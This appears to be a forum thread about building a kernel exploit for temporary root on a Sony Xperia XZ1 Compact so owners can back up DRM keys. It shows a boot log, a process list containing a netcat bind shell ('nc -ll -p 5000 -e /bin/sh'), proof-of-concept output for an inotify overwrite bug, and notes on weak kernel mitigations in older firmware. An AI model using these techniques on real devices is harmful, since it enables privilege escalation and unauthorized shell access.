[ 2.145057] 7c60: 0ffffffffffffffe 0000000000000003 0000000000000001 00000000432aff97
[ 2.145115] [<ffffff800897d1fc>] msm_sd_register+0x198/0x1fc
[ 2.145153] [<ffffff8009c47ab0>] msm_sensor_init_module+0x114/0x1b8
[ 2.145189] [<ffffff8008083adc>] do_one_initcall+0xc4/0x1dc
[ 2.145225] [<ffffff8009c00e68>] kernel_init_freeable+0x1a8/0x248
[ 2.145262] [<ffffff80091051c4>] kernel_init+0x18/0x138
[ 2.145291] [<ffffff80080830c0>] ret_from_fork+0x10/0x50
[ 2.146752] (NULL device *): sony_sensor_init_module: sony_sensor_init_module platform_driver_probe (0) 2326
[ 2.147185] (NULL device *): sony_sensor_init_module: sony_sensor_init_module platform_driver_probe (1) 2326
[ 2.147237] (NULL device *): sony_sensor_init_module: sony_sensor_init_module platform_driver_probe (0) 2353
[ 2.150963] ------------[ cut here ]------------
[ 2.150994] WARNING: at /home/hudsonslave/root/workspace/offbuild_pre-yoshino2-2.0.0_android_matrix/HUDSON_PRODUCT/lilac/HUDSON_VARIANT/user/label/CM/kernel/msm-4.4/drivers/media/platform/msm/camera_v2/msm.c:401
[ 2.151014] Modules linked in:
[ 2.151040]
[ 2.151073] CPU: 1 PID: 1 Comm: swapper/0 Tainted: G W 4.4.74-perf+ #1
[ 2.151093] Hardware name: linux,dummy-virt (DT)
[ 2.151115] task: ffffffc0784d8000 ti: ffffffc0784b4000 task.ti: ffffffc0784b4000
[ 2.151147] PC is at msm_sd_register+0x198/0x1fc
[ 2.151173] LR is at msm_buf_mngr_init+0x114/0x200
[ 2.151192] pc : [<ffffff800897d1fc>] lr : [<ffffff8009c484e8>] pstate: 60400145
[ 2.151208] sp : ffffffc0784b7d20
[ 2.151224] x29: ffffffc0784b7d20 x28: ffffff8009c82898
[ 2.151257] x27: ffffff8009c735a0 x26: ffffff8009c73570
[ 2.151286] x25: ffffff8009c004b4 x24: ffffff800aa6d000
[ 2.151316] x23: ffffff80092e0458 x22: ffffff800aa6d000
[ 2.151345] x21: ffffff800aa6d700 x20: ffffffc076698c00
[ 2.151374] x19: ffffff800aa4b000 x18: 00000000deab7ec7
[ 2.151403] x17: 00000000432aff97 x16: 0000000000000001
[ 2.151432] x15: 0000000000000003 x14: 0ffffffffffffffe
[ 2.151461] x13: 0000000000000008 x12: 0101010101010101
[ 2.151490] x11: ffffff800894aa7c x10: ffffff800894b560
[ 2.151519] x9 : 0000000000000000 x8 : 0000000000000000
[ 2.151547] x7 : 0000000000000000 x6 : ffffffc076698c20
[ 2.151583] x5 : ffffff80089f1e44 x4 : ffffff800aa4b088
[ 2.151613] x3 : 000000000000000d x2 : 0000000000040000
[ 2.151649] x1 : ffffffc076698c00 x0 : ffffffc076698c20
[ 2.151680]
[ 2.151680] PC: 0xffffff800897d1bc:
[ 2.151702] d1bc 12800002 52800023 f94046a4 97fef414 2a0003f3 37f80433 52800a20 b90072a0
[ 2.152054] d1dc b943aa80 b90076a0 f9406a80 b4000320 f90012a0 52800000 f9007ab4 17ffffc5
[ 2.152404] d1fc d4210000 12800080 f94013f5 a94153f3 a8c37bfd d65f03c0 d4210000 128002a0
[ 2.152769] d21c f94013f5 a94153f3 a8c37bfd d65f03c0 12800173 f9407aa0 b4000080 97fef7df
[ 2.153124]
[ 2.153124] LR: 0xffffff8009c484a8:
[ 2.153152] 84a8 f9008294 91288084 f90012a5 f90016a4 97b3c29e f9437f01 910322e2 52a00040
[ 2.153499] 84c8 528001a3 b9004820 91008020 f9006422 52a00082 b9005823 b9015022 97b4d2e0
[ 2.153848] 84e8 2a0003f4 34000140 9101c2e1 90ffe460 910ca000 52806be2 aa0103e3 2a1403e4
[ 2.154198] 8508 97951e9d 2a1403e0 1400002c f9437f02 b1008040 f9408841 f9003c35 54000100
[ 2.154553]
[ 2.154553] SP: 0xffffffc0784b7ce0:
[ 2.154580] 7ce0 09c484e8 ffffff80 784b7d20 ffffffc0 0897d1fc ffffff80 60400145 00000000
[ 2.154922] 7d00 764eba80 ffffffc0 09c483d4 ffffff80 ffffffff ffffffff 09c484bc ffffff80
[ 2.155277] 7d20 784b7d50 ffffffc0 09c484e8 ffffff80 092e0000 ffffff80 76698c00 ffffffc0
[ 2.155647] 7d40 0aa6d700 ffffff80 00000000 00000000 784b7d90 ffffffc0 08083adc ffffff80
[ 2.156069]
[ 2.156095] ---[ end trace cf17d4d9cad0286e ]---
[ 2.156117] Call trace:
[ 2.156143] Exception stack(0xffffffc0784b7b50 to 0xffffffc0784b7c80)
[ 2.156209] 7b40: ffffff800aa4b000 0000008000000000
[ 2.156324] 7b60: 0000000042b66000 ffffff800897d1fc 00000000ffffffff cb88537fdc8ba64a
[ 2.156432] 7b80: ffffffc0784b7c10 ffffff80083aa2d4 ffffffc0784b7d90 00000000ffffffd8
[ 2.156540] 7ba0: ffffff800923e648 ffffff80083a1150 ffffffc0766ef000 0000000000000800
[ 2.156649] 7bc0: 0000000000000000 ffffffc0764eba80 ffffffc0784b7c10 ffffff80083aa208
[ 2.156756] 7be0: ffffffc0784b7d90 00000000ffffffd0 ffffffc076698c20 ffffffc076698c00
[ 2.156865] 7c00: 0000000000040000 000000000000000d ffffff800aa4b088 ffffff80089f1e44
[ 2.156972] 7c20: ffffffc076698c20 0000000000000000 0000000000000000 0000000000000000
[ 2.157080] 7c40: ffffff800894b560 ffffff800894aa7c 0101010101010101 0000000000000008
[ 2.157188] 7c60: 0ffffffffffffffe 0000000000000003 0000000000000001 00000000432aff97
[ 2.157240] [<ffffff800897d1fc>] msm_sd_register+0x198/0x1fc
[ 2.157275] [<ffffff8009c484e8>] msm_buf_mngr_init+0x114/0x200
[ 2.157307] [<ffffff8008083adc>] do_one_initcall+0xc4/0x1dc
[ 2.157340] [<ffffff8009c00e68>] kernel_init_freeable+0x1a8/0x248
[ 2.157373] [<ffffff80091051c4>] kernel_init+0x18/0x138
[ 2.157401] [<ffffff80080830c0>] ret_from_fork+0x10/0x50
[ 2.157447] CAM-BUFMGR msm_buf_mngr_init:863 msm_buf_mngr_init: msm_sd_register error = -5
[ 2.164607] tsens_controller_is_present: tsens_controller_is_present: TSENS controller not available
[ 2.164687] _tsens_register_thermal: _tsens_register_thermal: TSENS early init not done
[ 2.165473] md: linear personality registered for level -1
[ 2.166120] device-mapper: uevent: version 1.0.3
[ 2.167337] device-mapper: ioctl: 4.34.0-ioctl (2015-10-28) initialised: [email protected]
[ 2.168421] device-mapper: req-crypt: dm-req-crypt successfully initalized.
[ 2.168421]
[ 2.170719] sdhci: Secure Digital Host Controller Interface driver
[ 2.170754] sdhci: Copyright(c) Pierre Ossman
[ 2.170813] sdhci-pltfm: SDHCI platform and OF driver helper
[ 2.175886] usbcore: registered new interface driver usbhid
[ 2.175928] usbhid: USB HID core driver
[ 2.176592] ashmem: initialized
[ 2.192929] hw perfevents: enabled with armv8_pmuv3 PMU driver, 1 counters available
[ 2.203890] usbcore: registered new interface driver snd-usb-audio
[ 2.225873] sony_hweffect_params_init
[ 2.228462] GACT probability NOT on
[ 2.228790] Mirror/redirect action on
[ 2.229052] u32 classifier
[ 2.229080] Actions configured
[ 2.229531] Netfilter messages via NETLINK v0.30.
[ 2.230447] nf_conntrack version 0.5.0 (16384 buckets, 65536 max)
[ 2.234582] ctnetlink v0.93: registering with nfnetlink.
[ 2.240127] xt_time: kernel timezone is -0000
[ 2.243542] ip_tables: (C) 2000-2006 Netfilter Core Team
[ 2.248215] arp_tables: (C) 2002 David S. Miller
[ 2.249607] Initializing XFRM netlink socket
[ 2.252047] NET: Registered protocol family 10
[ 2.262166] mip6: Mobile IPv6
[ 2.262432] ip6_tables: (C) 2000-2006 Netfilter Core Team
[ 2.264716] sit: IPv6 over IPv4 tunneling driver
[ 2.267729] NET: Registered protocol family 17
[ 2.268306] NET: Registered protocol family 15
[ 2.268815] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this.
[ 2.268915] Ebtables v2.0 registered
[ 2.269846] l2tp_core: L2TP core driver, V2.0
[ 2.270120] l2tp_ppp: PPPoL2TP kernel driver, V2.0
[ 2.270188] l2tp_ip: L2TP IP encapsulation support (L2TPv3)
[ 2.270361] l2tp_netlink: L2TP netlink interface
[ 2.270880] l2tp_eth: L2TP ethernet pseudowire support (L2TPv3)
[ 2.270955] l2tp_ip6: L2TP IP encapsulation support for IPv6 (L2TPv3)
[ 2.271666] NET: Registered protocol family 27
[ 2.288350] Registered cp15_barrier emulation handler
[ 2.288510] Registered setend emulation handler
[ 2.291405] registered taskstats version 1
[ 2.291648] Loading compiled-in X.509 certificates
[ 2.302327] Loaded X.509 cert 'Build time autogenerated kernel key: 70cf1635829ba84ab2643804f0666714b694ca11'
[ 2.304493] Loaded X.509 cert 'Android: 7e4333f9bba00adfe0ede979e28ed1920492b40f'
[ 2.543600] Key type encrypted registered
[ 2.545603] modem_restart_late_init: Unable to create smem ramdump device.
[ 2.546929] spss_utils [spss_init]: spss-utils driver Ver 1.2 13-Jan-2017.
[ 2.547854] servloc: init_service_locator: Service Locator not enabled
[ 2.547905] servloc: pd_locator_work: Unable to connect to service locator!, rc = -19
[ 2.548122] audio_notifer_reg_service: service SSR_ADSP is in use
[ 2.558173] RNDIS_IPA module is loaded.
[ 2.560110] hctosys: unable to open rtc device (rtc0)
[ 2.568247] clock_late_init: Removing enables held for handed-off clocks
[ 2.568376] ALSA device list:
[ 2.568423] No soundcards found.
[ 2.569282] Warning: unable to open an initial console.
[ 2.706130] Freeing unused kernel memory: 10240K ...

Here few linux commands from linux shell under that kernel in qemu:
Code:
ps
PID USER COMMAND
1 0 init
2 0 [kthreadd]
3 0 [ksoftirqd/0]
4 0 [kworker/0:0]
5 0 [kworker/0:0H]
6 0 [kworker/u4:0]
7 0 [rcu_preempt]
8 0 [rcu_sched]
9 0 [rcu_bh]
10 0 [rcuop/0]
11 0 [rcuos/0]
12 0 [rcuob/0]
13 0 [rcuc/0]
14 0 [rcub/0]
15 0 [migration/0]
16 0 [migration/1]
17 0 [rcuc/1]
18 0 [ksoftirqd/1]
19 0 [kworker/1:0]
20 0 [kworker/1:0H]
21 0 [rcuop/1]
22 0 [rcuos/1]
23 0 [rcuob/1]
24 0 [netns]
25 0 [perf]
26 0 [smd_channel_clo]
27 0 [dsps_smd_trans_]
28 0 [lpass_smd_trans]
29 0 [mpss_smd_trans_]
30 0 [wcnss_smd_trans]
31 0 [rpm_smd_trans_g]
32 0 [ipa_usb_wq]
33 0 [deferwq]
34 0 [kworker/u4:1]
35 0 [writeback]
36 0 [kcompactd0]
37 0 [crypto]
38 0 [bioset]
39 0 [kblockd]
40 0 [md]
41 0 [devfreq_wq]
42 0 [governor_msm_ad]
43 0 [kworker/1:1]
44 0 [cfg80211]
45 0 [kworker/0:1]
71 0 [power_off_alarm]
72 0 [kswapd0]
73 0 [vmstat]
74 0 [fsnotify_mark]
75 0 [ecryptfs-kthrea]
107 0 [glink_ssr_wq]
108 0 [glink_lbsrv]
109 0 [glink_xprt_wq]
110 0 [apr_driver]
111 0 [glink_pkt_wq]
113 0 [diag_real_time_]
114 0 [diag_wq]
115 0 [DIAG_USB_diag]
116 0 [diag_cntl_wq]
117 0 [diag_dci_wq]
118 0 [DIAG_SMD_MODEM_]
119 0 [DIAG_SMD_MODEM_]
120 0 [DIAG_SMD_MODEM_]
121 0 [DIAG_SMD_MODEM_]
122 0 [DIAG_SMD_MODEM_]
123 0 [DIAG_SMD_LPASS_]
124 0 [DIAG_SMD_LPASS_]
125 0 [DIAG_SMD_LPASS_]
126 0 [DIAG_SMD_LPASS_]
127 0 [DIAG_SMD_LPASS_]
128 0 [DIAG_SMD_WCNSS_]
129 0 [DIAG_SMD_WCNSS_]
130 0 [DIAG_SMD_WCNSS_]
131 0 [DIAG_SMD_WCNSS_]
132 0 [DIAG_SMD_WCNSS_]
133 0 [DIAG_SMD_SENSOR]
134 0 [DIAG_SMD_SENSOR]
135 0 [DIAG_SMD_SENSOR]
136 0 [DIAG_SMD_SENSOR]
137 0 [DIAG_SMD_SENSOR]
138 0 [DIAG_SMD_DIAG_C]
139 0 [DIAG_SMD_DIAG_D]
140 0 [DIAG_SMD_DIAG_C]
141 0 [DIAG_SMD_DIAG_D]
142 0 [DIAG_SMD_DIAG_D]
143 0 [DIAG_SMD_CDSP_C]
144 0 [DIAG_SMD_CDSP_D]
145 0 [DIAG_SMD_CDSP_C]
146 0 [DIAG_SMD_CDSP_D]
147 0 [DIAG_SMD_CDSP_D]
148 0 [DIAG_SOCKMODEM_]
149 0 [DIAG_SOCKMODEM_]
150 0 [DIAG_SOCKMODEM_]
151 0 [DIAG_SOCKMODEM_]
152 0 [DIAG_SOCKMODEM_]
153 0 [DIAG_SOCKLPASS_]
154 0 [DIAG_SOCKLPASS_]
155 0 [DIAG_SOCKLPASS_]
156 0 [DIAG_SOCKLPASS_]
157 0 [DIAG_SOCKLPASS_]
158 0 [DIAG_SOCKWCNSS_]
159 0 [DIAG_SOCKWCNSS_]
160 0 [DIAG_SOCKWCNSS_]
161 0 [DIAG_SOCKWCNSS_]
162 0 [DIAG_SOCKWCNSS_]
163 0 [DIAG_SOCKSENSOR]
164 0 [DIAG_SOCKSENSOR]
165 0 [DIAG_SOCKSENSOR]
166 0 [DIAG_SOCKSENSOR]
167 0 [DIAG_SOCKSENSOR]
168 0 [DIAG_SOCKDIAG_C]
169 0 [DIAG_SOCKDIAG_D]
170 0 [DIAG_SOCKDIAG_C]
171 0 [DIAG_SOCKDIAG_D]
172 0 [DIAG_SOCKDIAG_D]
173 0 [DIAG_SOCKCDSP_C]
174 0 [DIAG_SOCKCDSP_D]
175 0 [DIAG_SOCKCDSP_C]
176 0 [DIAG_SOCKCDSP_D]
177 0 [DIAG_SOCKCDSP_D]
178 0 [DIAG_CNTL_SOCKE]
179 0 [DIAG_GLINK_DIAG]
180 0 [DIAG_GLINK_DIAG]
181 0 [DIAG_GLINK_DIAG]
182 0 [DIAG_GLINK_DIAG]
183 0 [DIAG_GLINK_DIAG]
185 0 [DIAG_USB_diag_m]
186 0 [kgsl-workqueue]
187 0 [kgsl-mementry]
188 0 [kgsl_worker_thr]
189 0 [bioset]
190 0 [bioset]
191 0 [bioset]
192 0 [bioset]
193 0 [bioset]
194 0 [bioset]
195 0 [bioset]
196 0 [bioset]
197 0 [bioset]
198 0 [bioset]
199 0 [bioset]
200 0 [bioset]
201 0 [bioset]
202 0 [bioset]
203 0 [bioset]
204 0 [bioset]
205 0 [bioset]
206 0 [bioset]
207 0 [bioset]
208 0 [bioset]
209 0 [bioset]
210 0 [bioset]
211 0 [bioset]
212 0 [bioset]
213 0 [bioset]
214 0 [memory_wq]
215 0 [qcrypto_seq_res]
216 0 [bond0]
217 0 [sharedmem_qmi_w]
218 0 [qmi_hndl0000000]
219 0 [msm_ipc_router]
220 0 [uether]
221 0 [k_ipa_usb]
222 0 [dm_bufio_cache]
223 0 [binder]
224 0 [hwbinder]
225 0 [vndbinder]
226 0 [uaudio_svc]
227 0 [qmi_hndl0000000]
228 0 [ipv6_addrconf]
229 0 [kworker/u4:2]
238 0 [msm_perf:events]
239 0 [rq_stats]
340 0 nc -ll -p 5000 -e /bin/sh
341 0 /bin/sh
344 0 ps
cat /proc/version
Linux version 4.4.74-perf+ ([email protected]) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Aug 9 16:09:57 2017
cat /proc/cpuinfo
Processor : AArch64 Processor rev 0 (aarch64)
processor : 0
BogoMIPS : 125.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x1
CPU part : 0xd07
CPU revision : 0
processor : 1
BogoMIPS : 125.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x1
CPU part : 0xd07
CPU revision : 0
Hardware : Qualcomm Technologies, Inc Unknown CPU
Tried also again the inotify/rename poc, this time built statically for linux:
Code:
/exploit-aarch64-linux-gnu
Listening for events.
Listening for events.
alloc_len : 50
longname="test_dir/bbbb32103210321032100��1����"
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : b, event->len : 16
Detected overwrite!!!
callrename done.
So it works also in qemu, running the kernel binary from the firmware (needed few binary patches to avoid hangs due to missing hw features), so this makes a very good playground for real exploit implementation - kernel offsets (after kaslr bypass) should hopefully match with the real device.
There is still a lot of work to do - anybody willing to help?

I'm sorry I can't help because I lack the skills to, but I will sure pay the amount I pledged in the DRM key backup/restore bounty thread, if you manage to pull it off and allow also non developers to do it!

Here an advise: anybody who likes to keep a possibility to backup drm keys should disable all updates so that the fw version stays at the one which a phone was bought with.
It is possible that Sony would disable downgrades since particular version - that is after all a google's recommendation for vendors:
google-urges-smartphone-partners-support-android-oreos-rollback-protection
And download the oldest fw version available (do not care about customization not matching your phone original) to have it handy in case Sony pulls the fw off.
It would be useful if anybody who already upgraded to the latest fw version tried if it is still possible to downgrade for example to the 47.1.A.2.281 discussed here and report the result.

@j4nn: Are all your observations so far specific to the XZ1C? As the exploit itself isn't inherent to the XZ1C, might it be worthwhile to crosspost this to the XZ1 and XZ1 Premium forums? The more eyeballs you can get on this idea, the better.

right, it may be useful - the mentioned vulnerabilities are not hardware dependent. In case of xz1 and xz1p, the same kernel source branch is shared differing only in kernel defconfig, changing hw dependent options.
Basically any oreo device which could be flashed with fw containing the mentioned CVEs could possibly use them to get temp root.
But I have only xz1c, this is what I can test with, so that's why it is posted here.
Feel free to link to this thread to get possibly some devs who might help to implement the exploit(s).

An interesting find: the kernel from 47.1.A.2.281 fw has following option in it's config:
CONFIG_CC_STACKPROTECTOR_REGULAR=y
It seems that this is changed to STRONG variant since 47.1.A.3.xxx firmwares.
That means stack based kernel exploits could still be possible with the 2.281 fw - for comparison in linux kernel:
- regular: 1015 of 36110 functions are stack-protected (2.81%)
- strong: 7401 of 36110 functions are stack-protected (20.5%)
Just for reference - following options are enabled:
- CONFIG_ARM64_SW_TTBR0_PAN: Privileged Access Never (PAN) sw emulation
- CONFIG_DEBUG_RODATA: Make kernel text and rodata read-only (Post-init read-only memory)
- CONFIG_RANDOMIZE_BASE: Randomize the address of the kernel image (KASLR)
- CONFIG_HARDENED_USERCOPY
- Privileged Execute Never (PXN) is obviously integrated by default (preventing user code execution with privilege mode)

j4nn said:
right, it may be useful - the mentioned vulnerabilities are not hardware dependent. In case of xz1 and xz1p, the same kernel source branch is shared differing only in kernel defconfig, changing hw dependent options.
Basically any oreo device which could be flashed with fw containing the mentioned CVEs could possibly use them to get temp root.
But I have only xz1c, this is what I can test with, so that's why it is posted here.
Feel free to link to this thread to get possibly some devs who might help to implement the exploit(s).
Click to expand...
Click to collapse
When you talk about xz1p is the Sony Xperia XZ Premium , no?

SilverGamer_YT said:
When you talk about xz1p is the Sony Xperia XZ Premium , no?
Click to expand...
Click to collapse
Yes, same Yoshino platform (even though maybe it would be a tad easier to work on Premium, due to it having nougat too)

mirhl said:
Yes, same Yoshino platform (even though maybe it would be a tad easier to work on Premium, due to it having nougat too)
Click to expand...
Click to collapse
If we have already unlocked bootloader we cannot backup our drmkeys

@SilverGamer_YT, obviously no way if already lost by official unlock
mirhl said:
Yes, same Yoshino platform (even though maybe it would be a tad easier to work on Premium, due to it having nougat too)
Click to expand...
Click to collapse
that's right, but on the other hand, useful only for that device.
I am wondering - there is no temp root yet for the Premium if it had nougat?

Lowest patch level I could find is April (compared to August of XZ1)... Which a pretty hard target still.

@mirhl: it's strange that temp root is still not available for xz premium, considering it has nougat fw available.
The kernel is v4.4.21 in that fw and it does not have hardened usercopy, does not have privileged access never and also uses only regular stack protector. So it really would be easier, but it would not help devices that have only oreo fw (and only newer kernel with more mitigations integrated).

I feel we may be able to get temp root.
But what about that TA/drm keys backup?
Is here anybody who knows for sure that having temp root is enough?
Would not we be faced then with another security feature like trust zone / trusted execution environment from which it would not be possible to extract the keys?
I mean exploiting linux kernel is one thing, but exploiting TEE would probably be lot harder (if not impossible).

Develop Bugs

welcome